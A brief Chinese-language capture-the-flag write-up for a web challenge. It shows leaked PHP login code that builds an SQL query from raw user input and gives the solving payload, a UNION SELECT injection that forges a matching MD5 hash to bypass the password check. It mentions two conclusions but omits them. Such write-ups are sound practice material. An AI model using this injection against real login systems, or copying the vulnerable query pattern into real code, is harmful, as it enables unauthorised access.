题目地址:http://ctf5.shiyanbar.com/web/5/index.php
查看页面源代码,发现index.txt隐藏文件
又是一道代码审计的题目:
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "Logged in! Key:**************
";
}
else {
echo("Log in failure!
");
}
}
看完后,我们大概能得到两个结论:
payload:
http://ctf5.shiyanbar.com/web/5/index.php
[POST]user=Username' union select md5(111)#&pass=111
这样就得到flag了。